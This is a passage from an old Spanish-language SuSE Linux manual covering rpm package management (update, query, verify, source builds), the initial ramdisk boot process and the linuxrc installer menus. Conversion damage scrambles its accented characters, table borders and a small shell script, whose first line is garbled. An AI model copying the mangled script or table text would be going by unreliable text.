15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
o Si el administrador de sistema no ha cambiado ning·n fichero de config-
uraci≤n, rpm instala la versi≤n nueva y por lo tanto, el administrador de
sistema no tiene que intervenir de ninguna manera.
o Si el administrador de sistema ha cambiado un fichero de configuraci≤n,
rpm guarda el fichero con la extensi≤n .rpmorig o .rpmsave e instala
la nueva versi≤n del paquete RPM, salvo que el archivo de configuraci≤n
de esta nueva versi≤n no haya cambiado su estructura. En el caso de
reemplazar el fichero de configuraci≤n, es muy probable que sea nece-
sario adaptar el nuevo basßndose en la copia con la extensi≤n .rpmorig
o .rpmsave. DespuΘs de esta adaptaci≤n se deben borrar los ficheros
.rpmorig y .rpmsave para que estos no obstaculicen la siguiente actu-
alizaci≤n1 .
La opci≤n -U (Update) no es de ninguna manera equivalente a la secuencia
-e -i (Desinstalar/Borrar ~ Instalar). Siempre que sea posible, es preferible
usar la opci≤n -U .
________________________________________________________________________________________________________*
*________||
| DespuΘs de cada actualizaci≤n es necesario controlar las copias de seguri- *
* ||||
| *
* |||
| dad con las extensiones .rpmorig o .rpmsave generados por rpm . En ca- *
* |||
| so de necesidad transfiera sus ajustes a los nuevos ficheros de configuraci≤n *
* |||
| *
* |||
| y borre despuΘs los antiguos con las extensiones .rpmorig o .rpmsave. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Para borrar un paquete se procede de la siguiente manera:
tierra: # rpm -e <paquete>
rpm solo borra un paquete en caso de no existir ninguna dependencia. Por
lo tanto no es posible suprimir p. ej. Tcl/Tk si todavφa existe alg·n programa
que lo necesite para su ejecuci≤n; esta funcionalidad se debe al ''control'' por
parte del banco de datos RPM.
Si en alg·n caso excepcional no es posible borrar un paquete aunque haya de-
jado de existir cualquier dependencia, es probable que el problema se resuelva
al generar de nuevo el banco de datos RPM, usando la opci≤n --rebuilddb
(las explicaciones sobre el banco de datos se pueden ver en el apartado 15.3.2
en la pßgina 408Consultastable.15.2).
15.3.2 Consultas
La opci≤n -q (ingl. query) permite direccionar consultas a los archivos RPM
(opci≤n -p <fichero`paquete>) tal como al banco de datos RPM. El tipo de
informaci≤n a consultar depende de los banderines que figuran en la tabla 15.1
en la pßgina siguiente.
_______________________________________________________________________________________________________*
*_________
-i Mostrar informaci≤n sobre un paquete
_______________________________________________________________________________________________________*
*_________
_______________________Tabla_15.1:_Contin·a_en_la1pßginaLsiguientea...extensi≤n .rpmsave se selecciona c*
*uando el banco de datos RPM ya conoce e@
caso contrario se usa .rpmorig. Dicho en otras palabras, los ''.rpmorig'' se generan cuando
se actualizan paquetes que no tienen formato RPM y los .rpmsave se generan actualizando
paquetes RPM antiguos con RPM nuevos.
406
______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________*
*______________________
______________________________________________________________________________________________________________________
-l Mostrar lista de ficheros del paquete
-f <Fichero> + Consultar por el paquete que contiene el fichero
<Fichero>; se precisa la especificaci≤n de
<Fichero> con su rama completa!
-s Mostrar estado de los ficheros (implica -l )
-d Nombrar ficheros de documentaci≤n (implica -l )
-c Nombrar ficheros de configuraci≤n (implica -l )
--dump Mostrar toda la informaci≤n de verificaci≤n de todos
los ficheros (íUselo con -l , -c o -d !)
--provides Mostrar posibilidades del paquete; otro paquete
puede pedirlas con --requires
--requires , -R Mostrar dependencias entre los paquetes
--scripts Mostrar los distintos scripts de desinstalaci≤n
______________________________________________________________________________________________________________________
Tabla 15.1: Las opciones de consulta mßs importantes (-q [-p ]
. . . <paquete>)
Por ejemplo el comando:
tierra: # rpm -q -i rpm
da como resultado la salida en pantalla 15.3.1:
_______________________________________________________________________________________________________________________||||
|||||||| Name : rpm Relocations: (not relocateable) |
|||||||| |
|||||||| Version : 3.0.3 Vendor: SuSE GmbH, Germany |
|||||||| Release : 47 Build Date: Fri Dec 10 13:50:27 |
|||||||| Install date: Tue Dec 14 12:57:00 1999 Build Host: Cauchy.suse.de |
|||||||| Group : unsorted Source RPM: rpm-3.0.3-47.src.rpm |
|||||||| |
|||||||| Size : 5740847 License: GPL |
|||||||| Packager : feedback@suse.de |
|||||||| Summary : RPM Package Manager |
|||||||| Description : |
|||||||| |
|||||||| RPM Package Manager is the main tool for managing software packages |
|||||||| of the SuSE Linux distribution. |
|||||||| [...] |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 15.3.1: rpm -q -i rpm
La opci≤n -f solo funciona cuando se indica el nombre de fichero completo
con la rama incluida; se pueden indicar tantos ficheros como se desee. Por
ejemplo el comando:
tierra: # rpm -q -f /bin/rpm /usr/bin/wget
resulta en:
rpm-3.0.3-3
wget-1.5.3-55
Si solo se conoce una parte del nombre del fichero, se puede obtener ayuda
mediante un script (ver el fichero 15.3.1 en la pßgina siguiente) al cual se
pasa, como parßmetro, el nombre del fichero buscado.
*
* 407
15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| *
* |
|| #!fo/bin/shr i in `rpm -q -a -l | grep $1 `; do *
* ||
| *
* |
| echo "\"$i\" se encuentra en el paquete:" *
* |
| rpm -q -f $i *
* |
| echo "" *
* |
| done *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 15.3.1: Script para b·squeda de paquetes
Con el comando:
tierra: # rpm -q --changelog rpm
se puede ver informaci≤n detallada (actualizaciones, configuraci≤n, cambios,
etc.) sobre determinados paquetes; en este ejemplo sobre el paquete rpm.
El banco de datos tambiΘn permite efectuar verificaciones; Θstas se introducen
con la opci≤n -V (equivalente a -y o --verify ). Con la verificaci≤n rpm
muestra todos los ficheros del paquete que han sido modificados desde su
instalaci≤n original. rpm coloca hasta 8 caracteres por delante del nombre de
fichero que indican los siguientes cambios:
_______________________________________________________________________________________________________*
*_________
5 N·mero de control MD5
S Tama±o de fichero
L Enlace simb≤lico
T Tiempo de modificaci≤n
D N·mero de dispositivo ''major'' y ''minor'' (ingl. device number)
U Usuario (ingl. user)
G Grupo (ingl. group)
M Modo (con derecho y tipo)
_______________________________________________________________________________________________________*
*_________
Tabla 15.2: Las verificaciones
Para los ficheros de configuraci≤n aparece como valor adicional la letra c,
como lo muestra el ejemplo para el fichero /etc/wgetrc del paquete wget,
que ha sido modificado:
tierra: # rpm -V wget
S.5....T c /etc/wgetrc
Los ficheros del banco de datos RPM se encuentran en /var/lib/rpm. Estos
pueden ocupar hasta 20 MB para una partici≤n /usr de 500 MB, especial-
mente despuΘs de una actualizaci≤n completa. Si el banco de datos parece de-
masiado grande, se puede reducir su tama±o usando la opci≤n --rebuilddb ;
antes de reconstruir el banco de datos se debe hacer una copia de la existente.
El script cron.daily genera diariamente copias comprimidas del banco de
datos y las guarda en /var/adm/backup/rpmdb. El n·mero de estas copias
estß definido por la variable <MAX`RPMDB`BACKUPS>, cuyo valor por
defecto es 5 , pero se puede modificar en /etc/rc.config. Cada respaldo
ocupa aproximadamente 2 MB para una partici≤n /usr de 500 MB. Se trata
408 de un gasto de espacio que se debe tener en cuenta al determinar el tama±o
de la partici≤n raφz, salvo que se cree una partici≤n propia para /var.
15.3.3 Instalar y compilar los paquetes fuente
Todos los paquetes con fuentes (ingl. Sources) se encuentran en la serie zq y
llevan la extensi≤n .spm; estos archivos se llaman ''Source-RPMs''.
______________________________________________________________________________15.3.__RPM_~_El_gestor_de_paquetes____________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| Los paquetes con fuentes se pueden instalar con YaST como cualquier ||| |
||||||||| otro paquete, con la diferencia que, estos no se marcan como instalados, || ||
|||||||| con una [i] , como ocurre con los paquetes ''regulares''. Por esta raz≤n ||| |
|||||||| || |
|||||||| los paquetes fuente no figuran en el banco de datos RPM, ya que Θste solo || |
|||||||| anota el software instalado. || |
||||||||_______________________________________________________________________________________________________________||_
Si no hay ninguna configuraci≤n personal activada (p. ej. a travΘs del fichero
/etc/rpmrc), los directorios de trabajo de rpm deben existir por debajo de
/usr/src/packages. Estos son:
SOURCES para las fuentes originales (ficheros-.tar.gz, etc.) y para las
adaptaciones especφficas de las distintas distribuciones (ficheros-.dif).
SPECS para los ficheros-.spec, que controlan el proceso ''build'' y de este
modo act·an como ''Makefiles''.
BUILD por debajo de este directorio se desempacan o se compilan las fuentes;
tambiΘn se a±aden a Θste los parches.
RPMS en Θste se graban los paquetes completos en formato binario.
SRPMS y en Θste los ''Source''-RPMs (fuentes).
_______________________________________________________________________________________________________________________||
|||||||| íNo deben hacerse experimentos de RPM con los componentes clave del ||| |
|||||||| sistema como paquete libc, paquete rpm, paquete nkit, etc., porque se || |
|||||||| || |
|||||||| estarφa poniendo en peligro el buen funcionamiento del sistema! || |
||||||||_______________________________________________________________________________________________________________||_
Al instalar con YaST un paquete de fuentes de la serie zq, todos los com-
ponentes necesarios para el proceso ''build'' se copian en el directorio /usr/
src/packages: Las fuentes y los parches se van al directorio SOURCES y
el fichero-.spec correspondiente se copia en el directorio SPECS2 . Toman-
do como ejemplo el paquete wget.spm, despuΘs de ser instalado con YaST ,
aparecerßn los siguientes ficheros:
/usr/src/packages/SPECS/wget.spec
/usr/src/packages/SOURCES/wget-1.4.5.dif
/usr/src/packages/SOURCES/wget-1.4.5.tar.gz
Con el comando rpm -b <X> /usr/src/packages/SPECS/wget.spec
comienza la compilaci≤n. La variable <X> puede representar diferentes
pasos, de los cuales aquφ figuran algunos (ver tambiΘn la ayuda que aparece
con la opci≤n ~help o la documentaci≤n de RPM):
-bp preparar las fuentes en el directorio /usr/src/packages/BUILD; de-
sempacar y poner los parches
-bc igual a -bp , pero con compilaci≤n.
-bi igual a -bc , pero con instalaci≤n del paquete. íCuidado: Si hay alg·n
paquete que no soporte la caracterφstica BuildRoot, es posible que durante
la instalaci≤n se sobreescriban algunos ficheros de configuraci≤n impor-
tantes!
-bb igual a -bi , pero con generaci≤n adicional del ''Binary-RPM'' que se
encuentra en caso de Θxito en el directorio /usr/src/packages/RPMS.
2 ____________________________________________________
Respecto a la generaci≤n propia de paquetes (ingl. build mode) ver [Bai97 ] y la pßgina del
manual de rpm (man rpm ).
*
* 409
15. Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
*_______________________________________@
-ba igual a -bb , pero genera adicionalmente el ''Source-RPM'' que se en-
cuentra, en caso de Θxito, en el directorio /usr/src/packages/SRPMS.
La opci≤n --short-circuit permite saltarse determinados pasos.
El ''Binary-RPM'' se instala finalmente con rpm -i , o mejor con rpm -U ,
para que aparezca en el banco de datos RPM.
15.3.4 Herramientas para los archivos RPM y el banco de datos RPM
El Midnight Commander (mc ) es capaz de mostrar el contenido de un archivo
RPM y copiar partes de Θl. El archivo RPM se muestra en un sistema de
ficheros virtual para el cual se ponen a disposici≤n todas las opciones del
men· del mc . La informaci≤n_de los encabezamientos del ''fichero''_HEADER
se visualiza con |F___|3; con las teclas del cursor y |_____-|se puede pasar por la
estructura del archivo y en caso de necesidad copiar componentes usando
|F___|_5. ~ Por otra parte, ya existe rpm.el para Emacs , que es un ''Frontend''
para rpm :-)
xrpm es el nombre de un gestor grßfico de RPM realizado con Python, un
lenguaje de scripts ''sofisticado''. xrpm soporta la gesti≤n de paquetes vφa
FTP.
KDE incluye la herramienta krpm , que es una interfaz grßfica del sistema
X Window para la gesti≤n de RPM; en caso de GNOME se incorpora
gnorpm .
Alien (alien ) permite la conversi≤n de los formatos de las distintas distribu-
ciones. Con este programa se puede intentar convertir, antes de la instalaci≤n,
los archivos antiguos del tipo TGZ al formato RPM, para que el banco de
datos RPM reciba durante la instalaci≤n la informaci≤n de los paquetes. Pero
cuidado: alien es un script de Perl y seg·n sus autores todavφa se encuentra
en fase alfa, aunque ya ha alcanzado un n·mero de versi≤n alto.
Finalmente existe YaST y su funcionamiento se explica en el apartado 3.5.9
en la pßgina 100Instalar paquetessubsection.3.5.9.
410
Capφtulo 16
Particularidades de SuSE Linux
16.1 Filesystem Hierarchy Standard (FHS) y Linux Stan-
dard Base (LSB)
SuSE Linux intenta cumplir al mßximo el estßndar de sistema de ficheros (in-
gl. Filesystem-Standard (FSSTD)) o de su sucesor, el estßndar sobre jerarquφa
del sistema de ficheros (ingl. Filesystem Hierarchy Standard (FHS, paquete
fhs, serie doc)). Por lo tanto a veces es necesario mover ficheros o directo-
rios al lugar ''correcto'' en el ßrbol de directorios.
SuSE soporta activamente los esfuerzos del proyecto Linux Standard Base,
sobre el cual es posible informarse en http://www.linuxbase.org.
16.1.1 Entornos de ejemplo para FTP y HTTP
Sobre FTP
El paquete ftpdir contiene un entorno de ejemplo para facilitar la configu-
raci≤n de un servidor FTP. Este entorno se instala en /usr/local/ftp.
Sobre HTTP
El servidor web predeterminado de SuSE Linux es Apache , que se instala
junto con algunos documentos de ejemplo en el directorio /usr/local/
httpd. Para poner en marcha un servidor de web propio se recomienda
definir un DocumentRoot propio en el fichero /etc/httpd/httpd.conf.
16.1.2 teTeX ~ TE X en SuSE Linux
teTeX se instala seg·n la estructura TEX Directory Structure (TDS) sin vio-
laci≤n del FHS (ver ftp://ftp.dante.de/tex-archive/tds/).
16.2 Arrancar con ''initial ramdisk''
Situaci≤n de arranque
En cuanto el kernel de Linux estΘ cargado y el sistema de ficheros raφz (/)
montado, es posible ejecutar programas y cargar m≤dulos de kernel adi-
cionales para proporcionar funciones adicionales.
*
* 411
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
Para llegar al punto de montar el sistema de ficheros raφz, se tienen que
cumplir varias condiciones. Por una parte, el kernel necesita el driver para
acceder al dispositivo que contiene el sistema de ficheros raφz (sobre todo
los drivers para SCSI) y por otra parte el kernel tiene que contener el c≤digo
necesario para leer el sistema de ficheros (ext2 , reiserfs , romfs , etc.).
Ademßs es posible que el sistema de ficheros raφz ya estΘ encriptado, con lo
cual se tendrφa que introducir la contrase±a para montarlo.
Hay diferentes soluciones para resolver el problema de los drivers de SC-
SI. Una posibilidad serφa un kernel que contenga todos los drivers existentes,
lo que tiene como desventaja el aumento de su tama±o y que pueda haber
conflictos entre todos los drivers. Otra soluci≤n serφa proporcionar diferentes
kernels, de los que cada uno contenga uno o un par de drivers SCSI. Esta
soluci≤n es tambiΘn complicada ya que requiere una gran cantidad de kernels
diferentes, cantidad que ademßs se multiplica por las diferentes optimiza-
ciones para Pentium o SMP.
La soluci≤n ≤ptima es la de cargar el driver SCSI como m≤dulo. Esta solu-
ci≤n requiere la posibilidad de ejecutar programas del ßrea (de memoria) de
usuario antes de montar el sistema de ficheros raφz. Este procedimiento se
puede realizar mediante el concepto del initial ramdisk (disco de memoria
inicial).
16.2.1 El concepto ''initial ramdisk''
Los problemas mencionados arriba se resuelven mediante el initial ramdisk
(tambiΘn denominado ''initdisk'' o ''initrd''). El kernel de Linux ofrece la
posibilidad de cargar un sistema de ficheros peque±o a un disco de memoria
(Ramdisk) para ejecutar programas dentro del mismo antes del montaje real
del sistema de ficheros raφz. El ''bootloader'' (LILO , loadlin , etc.) se encarga
de cargar el initrd. Todos los ''bootloader'' s≤lo necesitan rutinas de la BIOS
para leer los datos del disco. Cuando el ''bootloader'' es capaz de cargar el
kernel, Θste tambiΘn puede cargar el disco de memoria inicial por lo que ya
no se necesitan drivers especiales.
16.2.2 Procedimiento del arranque con initrd
El ''bootloader'' carga el kernel y la initrd a la memoria e inicia el kernel,
indicßndole la existencia de un disco de memoria initrd y su posici≤n en la
memoria.
Normalmente el initrd estß comprimido, por lo que el kernel lo descom-
prime y lo monta como sistema de ficheros temporal. DespuΘs de esto, dentro
del disco initrd se inicia un programa denominado linuxrc , que es capaz
de montar el sistema de ficheros ''normal''. En el momento que linuxrc fi-
naliza, el disco temporal initrd se desmonta y el proceso de arranque sigue
en su secuencia habitual, montando el sistema de ficheros raφz verdadero. El
montaje de initrd y la ejecuci≤n de linuxrc se pueden observar como pasos
intermedios durante el proceso de arranque normal.
Si no es posible desmontar el initrd (lo que se puede considerar un error), el
kernel trata de montar nuevamente el initrd pero esta vez sobre el directorio
/initrd. En caso de que Θste no exista, el kernel emite un mensaje de error.
412
__________________________________________________________________________16.2.__Arrancar_con_''initial_ramdisk''___________*
*______________________
El sistema es completamente operativo, pero nunca serß posible liberar el
espacio de memoria que initrd ocupa.
linuxrc
Las condiciones para linuxrc dentro del initrd son las siguientes: Debe
tener el nombre especial linuxrc y se debe encontrar dentro del directo-
rio raφz del initrd. Aparte de ello solo hace falta que el kernel lo pueda
ejecutar. Esto significa que linuxrc puede ser un programa con enlace (ingl.
link) dinßmico a las librerφas, pero en este caso las librerφas compartidas (ingl.
shared libraries) se deben encontrar como es usual bajo /lib en el initrd.
linuxrc tambiΘn podrφa ser un script de la shell, pero para esto deberφa exi-
stir una + Shell en /bin. Resumiendo, se puede decir que el initrd debe
contener un sistema Linux mφnimo que permita ejecutar el programa linuxrc .
Durante la instalaci≤n de SuSE Linux se usa un linuxrc enlazado estßtica-
mente para mantener el initrd lo mßs peque±o posible, ya que el espacio en
los disquetes de arranque es muy reducido. linuxrc se ejecuta con derechos
de superusuario `root'.
El sistema de ficheros raφz verdadero
En cuanto linuxrc termina, el initrd se desmonta y el proceso de arranque
contin·a, con el kernel montando el sistema de ficheros raφz verdadero. lin-
uxrc puede influir sobre el tipo de sistema de fichero raφz que se va a mon-
tar. Para ello solo es necesario que linuxrc monte el sistema de ficheros
/proc y escriba el valor del sistema de ficheros raφz en forma numΘrica en
/proc/sys/kernel/real-root-dev.
16.2.3 Bootloader
La mayorφa de los ''cargadores/gestores de arranque'' (ingl. bootload-
er/bootmanager) son capaces de tratar un initrd (especialmente loadlin
y syslinux ). La forma de indicar a los ''bootloader'' que usen un initrd, es
la siguiente:
1. LILO
Apuntar la siguiente lφnea en /etc/lilo.conf:
_______________________________________________________________________________________________________________________||
|||||||| |
|||||||| initrd=/boot/initdisk.gz |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
El fichero /boot/initdisk.gz es el disco de memoria inicial (initial
ramdisk). Es posible (pero no necesario) que se encuentre comprimido.
2. loadlin.exe
Ejecuci≤n mediante:
C:> loadlin <kernelimage> initrd=C:\loadlin\initdisk.gz <parßmetro>
3. syslinux
Apuntar la siguiente lφnea en syslinux.cfg:
*
* 413
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| *
* |
|| append initrd=initdisk.gz <parßmetros adicionales> *
* ||
| *
* |
|_______________________________________________________________________________________________________*
*________ |
16.2.4 Uso de initrd en SuSE Linux
Instalaci≤n del sistema
Ya hace tiempos que se usa el initrd para la instalaci≤n. El usuario puede
cargar m≤dulos en linuxrc e introducir los datos necesarios para la instalaci≤n
(sobre todo el medio fuente). DespuΘs linuxrc inicia YaST , que se encarga
de la instalaci≤n. Cuando Θsta haya terminado, YaST indica a linuxrc el
lugar donde se encuentra el sistema recientemente instalado. Seguidamente
linuxrc anota este valor en /proc, se termina y el kernel sigue inicißndose
con el sistema reciΘn instalado.
Al instalar SuSE Linux se inicia desde un principio prßcticamente el mismo
sistema que se acaba de instalar ~ no estß mal ;-) S≤lo cuando el kernel
en ejecuci≤n no concuerda con los m≤dulos que se hayan instalado en el
sistema, se efect·a un reinicio del mismo. Esto solo hace falta cuando se ha
instalado un kernel para mßquinas multiprocesador junto con sus m≤dulos,
ya que actualmente SuSE Linux a la hora de arrancar, usa un kernel para
computadoras monoprocesador. Para poder usar todos los m≤dulos, hace falta
iniciar el kernel SMP del sistema.
Arrancar el sistema instalado
Anteriormente YaST ofrecφa mßs de 40 kernels para la instalaci≤n, diferen-
cißndose unos de otros por diferentes drivers para controladoras SCSI. Esto
era necesario para el montaje del sistema de ficheros raφz despuΘs del ar-
ranque. Los demßs drivers se podφan cargar posteriormente como m≤dulos.
Como ahora ofrecemos kernels optimizados, se trata de un concepto invßlido,
ya que harφan falta mßs de 100 diferentes imßgenes de kernel.
Por lo tanto se usa ahora el initrd tambiΘn para el inicio normal del sistema.
El funcionamiento es anßlogo al de la instalaci≤n, con la diferencia de que el
linuxrc es ahora un sencillo script que solo se ocupa de cargar unos determi-
nados m≤dulos. Por lo general se carga un solo m≤dulo que es el driver SCSI,
necesario para el acceso al sistema de ficheros raφz.
Generar un initrd
El initrd (ingl. Initial ram disk) se genera mediante el script mk_initrd .
Los m≤dulos que se han de cargar se definen, en el caso de SuSE Linux, con la
variable INITRD_MODULES en /etc/rc.config. DespuΘs de una instalaci≤n
esta variable contiene automßticamente los valores correctos, ya que linuxrc
reconoce cuales m≤dulos han sido cargados. Estos se cargan exactamente en
el orden de aparici≤n en la variable INITRD_MODULES , lo cual es importante
cuando se cargan varios drivers SCSI, ya que la enumeraci≤n de los discos
cambia cuando los m≤dulos se cargan en orden diferente. En realidad serφa
414
__________________________________________________________________________16.2.__Arrancar_con_''initial_ramdisk''___________*
*______________________
suficiente cargar s≤lo el driver SCSI que proporciona acceso al sistema de
ficheros raφz. La carga posterior automßtica de drivers SCSI es complicada
(serφa difφcil secuenciarlo, si tambiΘn hay discos conectados a la segunda
controladora), por lo que preferimos cargar todos los drivers SCSI mediante
el initrd.
El mk_initrd actual comprueba si realmente se necesita un driver SCSI para
acceder al sistema de ficheros raφz. Ejecutando mk_initrd en una computa-
dora que tiene / sobre un disco EIDE, no se genera ning·n initrd, ya que no
hace falta (los kernels de SuSE Linux incorporan el soporte EIDE). De hecho
cada vez aparecen mßs controladoras EIDE especφficas, por lo que harß falta
usar en un futuro un initrd tambiΘn para estas controladoras.
_______________________________________________________________________________________________________________________||
|||||||| íLa carga de initrd por parte del ''bootloader'' funciona igual a la carga ||| |
|||||||| del kernel mismo (LILO apunta en su fichero map la ubicaci≤n de estos || |
|||||||| || |
|||||||| datos) y por eso se requiere una nueva instalaci≤n de LILO despuΘs de || |
|||||||| cada cambio en initrd! O sea, despuΘs de cada mk_initrd hay que || |
|||||||| || |
|||||||| ejecutar lilo . || |
||||||||_______________________________________________________________________________________________________________||_
16.2.5 Posibles problemas ~ Kernel compilado a medida
DespuΘs de haber compilado un kernel a medida es posible que aparezcan
ciertos problemas comunes. For example el driver de SCSI se ha incorporado
fijo al kernel, pero el initrd se ha quedado sin cambios. A la hora de
arrancar pasa lo siguiente: El kernel ya contiene el driver para SCSI, que
reconoce la controladora. El initrd en cambio trata de cargar el driver otra
vez como m≤dulo, lo que puede paralizar el sistema (especialmente en caso
del aic7xxx ). En realidad es un fallo del kernel, ya que no deberφa ser posible
cargar de nuevo un driver ya existente ~ el problema en sφ ya se conoce por el
driver para el puerto serie.
Existen varias soluciones para solventar este problema: Se configura el driver
como m≤dulo (entonces se carga correctamente con el initrd) o bien, se
quita la entrada del initrd de /etc/lilo.conf. Serφa lo mismo si se
quita el driver de INITRD_MODULES y se ejecuta mk_initrd ; este comando
reconoce entonces que no se requiere ning·n initrd.
16.2.6 El futuro
En el futuro es posible que se use initrd para tareas mßs sofisticadas que la
sencilla carga de m≤dulos necesarios para el acceso a /.
o Driver ''High end'' EIDE
o Sistema de ficheros raφz sobre un Software RAID (linuxrc configura los
dispositivos md)
o Sistema de ficheros raφz sobre LVM
o Sistema de ficheros raφz encriptado (linuxrc pide una contrase±a)
o Sistema de ficheros raφz sobre un disco SCSI conectado a una tarjeta
PCMCIA.
*
* 415
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
Mßs informaci≤n
Se puede encontrar informaci≤n adicional en: /usr/src/linux/Documentation/
ramdisk.txt
/usr/src/linux/Documentation/initrd.txt
pßgina del manual de initrd (man 4 initrd ).
416
________________________________________________________________________________________________________________16.3.__linux*
*rc____________________
16.3 linuxrc
linuxrc es un programa que se comienza a ejecutar durante el inicio del ker-
nel, antes de arrancar realmente1 . Esta propiedad es muy ventajosa, ya que
permite arrancar un kernel peque±o y modularizado, haciendo posible cargar
como m≤dulos los pocos drivers que realmente se necesitan. Esto se puede
hacer incluso desde un segundo disquete.
linuxrc ayuda a cargar los drivers relevantes para el hardware y no solo sirve
para la instalaci≤n sino tambiΘn como herramienta de arranque para el sistema
Linux instalado, formando asφ una especie de disquete de rescate. TambiΘn
sirve para resolver alg·n problema grave en el disco duro o simplemente
cuando se ha olvidado la contrase±a de `root', ya que es posible arrancar
un sistema de rescate a base de un RAM-Disk. Hay mßs informaci≤n en el
apartado 16.5 en la pßgina 425El sistema de rescate de SuSE section.16.5.
Men· principal
DespuΘs de haber ajustado idioma, pantalla y teclado se entra al men· prin-
cipal de linuxrc (ver figura 2.3 en la pßgina 32Configuraci≤n general e incor-
poraci≤n del hardwaresubsection.2.2.3).
El punto a d≤nde llegar es en este momento la opci≤n `Iniciar la insta-
laci≤n / Sistema'. Poder entrar en esa opci≤n depende directamente del
hardware de la computadora:
Si el kernel reconoce directamente todos los componentes necesarios para la
instalaci≤n, no hace falta cargar ning·n driver adicional. Este es el caso para
computadoras que solo tienen dispositivos conectados a una controladora del
tipo (E)IDE.
Si la computadora tiene una controladora SCSI y la necesita para la insta-
laci≤n2 , entonces hace falta cargar un m≤dulo SCSI. Lo mismo para el caso
en el que se efect·a la instalaci≤n a travΘs de una red ya que para ello hay que
cargar primero un driver (en forma de m≤dulo de kernel) para la tarjeta red.
Finalmente existen algunos lectores CD-ROM antiguos que fueron sumin-
istrados con su propia tarjeta controladora y por tanto necesitan sus propios
m≤dulos de kernel. TambiΘn hace falta cargar m≤dulos cuando se estßn usan-
do tarjetas PCMCIA en un portßtil.
Informaci≤n del sistema
Si no se sabe exactamente quΘ hardware tiene la computadora, pueden servir
de ayuda los mensajes del kernel que aparecen durante el arranque.
Con la opci≤n `Informaci≤n del sistema' (figura 16.1 en la pßgina sigu-
iente) no solo se pueden ver los mensajes del kernel sino tambiΘn otros datos
importantes como las direcciones de entrada y salida (ingl. I/O address) de
las tarjetas PCI o el tama±o de la memoria principal.
Las siguientes lφneas muestran c≤mo se presentan un disco duro y un lector
CD-ROM conectados a una controladora EIDE. Es el caso en el que no hace
falta cargar_ning·n_m≤dulo_del_kernel_para_la_instalaci≤n:_
1 El kernel tiene que estar configurado adecuadamente.
2 De momento no hace falta considerar una controladora que p. ej.solo se conecta a un escßner
*
* 417
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
Figura 16.1: Informaci≤n del sistema
hda: ST32140A, 2015MB w/128kB Cache, LBA, CHS=1023/64/63
hdb: CD-ROM CDR-S1G, ATAPI CDROM drive
Partition check:
hda: hda1 hda2 hda3 < hda5 >
Por otra parte, si se ha arrancado con un kernel que incorpora un driver de SC-
SI, tampoco hace falta cargar ning·n m≤dulo SCSI adicional. Las siguientes
lφneas muestran un mensaje tφpico de reconocimiento de una controladora
SCSI y de los dispositivos conectados:
scsi : 1 host.
Started kswapd v 1.4.2.2
scsi0 : target 0 accepting period 100ns offset 8 10.00MHz FAST SCSI-II
scsi0 : setting target 0 to period 100ns offset 8 10.00MHz FAST SCSI-II
Vendor: QUANTUM Model: VP32210 Rev: 81H8
Type: Direct-Access ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 0, lun 0
scsi0 : target 2 accepting period 236ns offset 8 4.23MHz synchronous SCSI
scsi0 : setting target 2 to period 248ns offset 8 4.03MHz synchronous SCSI
Vendor: TOSHIBA Model: CD-ROM XM-3401TA Rev: 0283
Type: CD-ROM ANSI SCSI revision: 02
scsi : detected 1 SCSI disk total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 4308352 [2103 MB] [2.1 GB]
Partition check:
sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 >
Carga de m≤dulos
Aquφ se puede elegir quΘ tipo de m≤dulo se necesita. Si se ha arrancado desde
disquete, linuxrc carga los datos necesarios y los presenta para elegir.
Si se ha arrancado desde el CD o desde DOS con loadlin , todos los m≤dulos
ya estßn a disposici≤n de linuxrc . Esto evita la demora en cargar, pero gasta
mßs memoria, lo que significa que se debe arrancar desde disquete si la com-
putadora tiene menos de 8 MB RAM, ya que todos los drivers que se carguen
arrancando desde CD no tendrßn suficiente espacio.
418
________________________________________________________________________________________________________________16.3.__linux*
*rc____________________
Figura 16.2: Cargar m≤dulos
linuxrc ofrece los drivers disponibles en una lista. A la izquierda se ve el
nombre de cada m≤dulo y a la derecha una breve descripci≤n del hardware
para el cual estß hecho el m≤dulo (driver).
Para algunos dispositivos existen varios drivers o tambiΘn unos muy nuevos
que a·n se encuentran en fase alpha. Estos se ofrecen tambiΘn aquφ.
Figura 16.3: Selecci≤n de los drivers SCSI
Introducci≤n de parßmetros
Si se ha encontrado el driver que corresponde_al hardware, se coloca el cursor
sobre la lφnea en cuesti≤n y se pulsa |_____-|. Aparece una pantalla con la posi-
bilidad de introducir parßmetros que pasarßn al m≤dulo que se cargue. En el
apartado 14.3.4 en la pßgina 373Parßmetros de modprobe subsection.14.3.4
hay explicaciones mßs detalladas sobre los parßmetros de m≤dulo.
*
* 419
16. Particularidades_de_SuSE______Linux___________________________________________________________________________________________*
*_______________________________________@
Figura 16.4: Introducci≤n de los parßmetros para la carga de los m≤dulos
Hay que tener en cuenta aquφ, que m·ltiples parßmetros deben estar separados
por espacios, contrastando con la introducci≤n de parßmetros en el prompt del
kernel (MILO, LILO o SYSLINUX).
Por lo general no hace falta especificar el hardware, porque la mayorφa de los
drivers encuentran los componentes por sφ mismos. Solamente las tarjetas de
red y lectores CD-ROM con controladora propia exigen a veces la indicaci≤n_
de parßmetros. De todos modos se puede probar sencillamente pulsando |_____-|
sin pasar ning·n parßmetro.
Algunos m≤dulos necesitan un buen tiempo para_ reconocer_ e inicializar el
hardware. Cambiando a la consola virtual 4 (|A____l|t+ |F___|4) es posible ver los
mensajes del kernel durante la carga del m≤dulo. Sobre todo las controladoras
